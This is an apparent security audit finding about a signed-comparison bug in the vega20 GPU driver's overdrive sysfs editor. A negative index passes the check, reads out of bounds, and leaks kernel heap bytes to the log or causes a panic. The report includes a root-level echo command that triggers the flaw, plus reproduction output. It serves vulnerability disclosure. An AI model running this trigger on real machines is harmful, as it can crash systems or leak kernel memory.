# DF-3859 — `vega20_odn_edit_dpm_table` PP_OD_EDIT_VDDC_CURVE: signed-compare lets negative user index through → OOB read of `od8_settings_array` (DF-3704 twin)

## What

`sys/dev/drm/amd/powerplay/hwmgr/vega20_hwmgr.c:2656-2720`, VDDC-curve branch
of the OD sysfs editor:

```c
int32_t input_index, input_clk, input_vol, i;    /* :2560 */
...
input_index = input[i];                          /* :2674 — long from kstrtol */
input_clk   = input[i + 1];
input_vol   = input[i + 2];

if (input_index > 2) { ... return -EINVAL; }     /* :2678 — SIGNED compare:
                                                    only the UPPER bound is
                    checked — negatives pass! */
od8_id = OD8_SETTING_GFXCLK_FREQ1 + 2 * input_index;      /* :2685 → < 0 */
if (input_clk < od8_settings[od8_id].min_value ||          /* :2686 — OOB read */
    input_clk > od8_settings[od8_id].max_value) {          /* :2687 — OOB read */
        pr_info("clock freq %d is not within allowed range [%d - %d]\n",
                input_clk,
                od8_settings[od8_id].min_value,            /* leaked kernel bytes */
                od8_settings[od8_id].max_value);           /* leaked kernel bytes */
        return -EINVAL;
}
od8_id = OD8_SETTING_GFXCLK_VOLTAGE1 + 2 * input_index;    /* :2695 — again */
```

`od8_settings` is `od8_settings_array[OD8_SETTING_COUNT=16]`
(`vega20_hwmgr.h:429`), each element 20 bytes
(`vega20_od8_single_setting`, `vega20_hwmgr.h:418-424`), embedded in the
kzalloc'd `struct vega20_hwmgr` backend (`:383`).

- `input_index = -1` → `od8_id = 0` (FMIN slot) — wrong setting, in-bounds.
- `input_index ≤ -2` → `od8_id < 0`: small negatives read the vega20_hwmgr
  fields preceding the array (`odn_data` etc.) — **and both garbage values
  are printed to the log by the `pr_info` range message** (kernel-heap
  disclosure to dmesg).
- Large negatives (attacker-chosen magnitude, e.g. `-100000000` →
  `od8_id ≈ -2×10⁸` → ≈ **-4 GB** offset) read far outside the backend
  allocation → kernel page fault → panic.

The final `switch (input_index)` (`:2705`) only writes for 0/1/2, so unlike
the vega10 twin (DF-3704, a wild *write*) this variant is a wild *read* +
log leak. The SCLK (`:2585`) and MCLK (`:2633`) branches correctly reject
non-0/1 and non-1 indices, so only `vc` is affected.

## Reach (root-gated)

`/sys/class/drm/card0/device/pp_od_clk_voltage` is `S_IWUSR`
(`amdgpu_pm.c:1028`); the parser `kstrtol()`s every whitespace-separated
token into `long parameter[...]` with no sign restriction
(`amdgpu_pm.c:575-592`), so the token stream `vc -2 1000 900` delivers
`input_index = -2` verbatim:

```
echo "vc -2 1000 900" > /sys/class/drm/card0/device/pp_od_clk_voltage
```

dmesg then shows `clock freq 1000 is not within allowed range [<heap bytes>
- <heap bytes>]`. A confused-deputy writer (root-owned service/agent that
passes through user-controlled OD strings) escalates to kernel-heap info
leak or panic.

## Reproduce (arithmetic-level; kernel reach hardware-gated)

```
build.sh                        # cc -O2 -Wall -o /tmp/odn_negidx /tmp/odn_negidx.c
run.sh                          # control idx=1, attacks idx=-2 and idx=-7
```

Expected (observed on the audit guest, `run.log`):

```
attack (vc -2 1000):
  input_index=-2 -> od8_id=-2 (byte offset -40 from array)
  clock freq 1000 is not within allowed range [-1515870811 - -1515870811]
  ^--- OOB-read kernel bytes printed to the log        (0xA5A5A5A5 marker bytes)

attack (vc -7 1000):
  input_index=-7 -> od8_id=-12 (byte offset -240 from array)
```

The control (`vc 1 1000`, `od8_id=4`, in-bounds) passes the range check
normally. `-1515870811` is the exact int32 of the marker bytes placed at the
OOB location — demonstrating that whatever memory precedes the array is
disclosed via the error message, precisely as the `pr_info` does in-kernel.

## Impact

Root-gated (S_IWUSR) OOB read: small leaks of `vega20_hwmgr` backend heap
contents into the kernel log; large magnitudes page-fault (panic). Confused
deputy / management-agent exposure; not directly unprivileged.
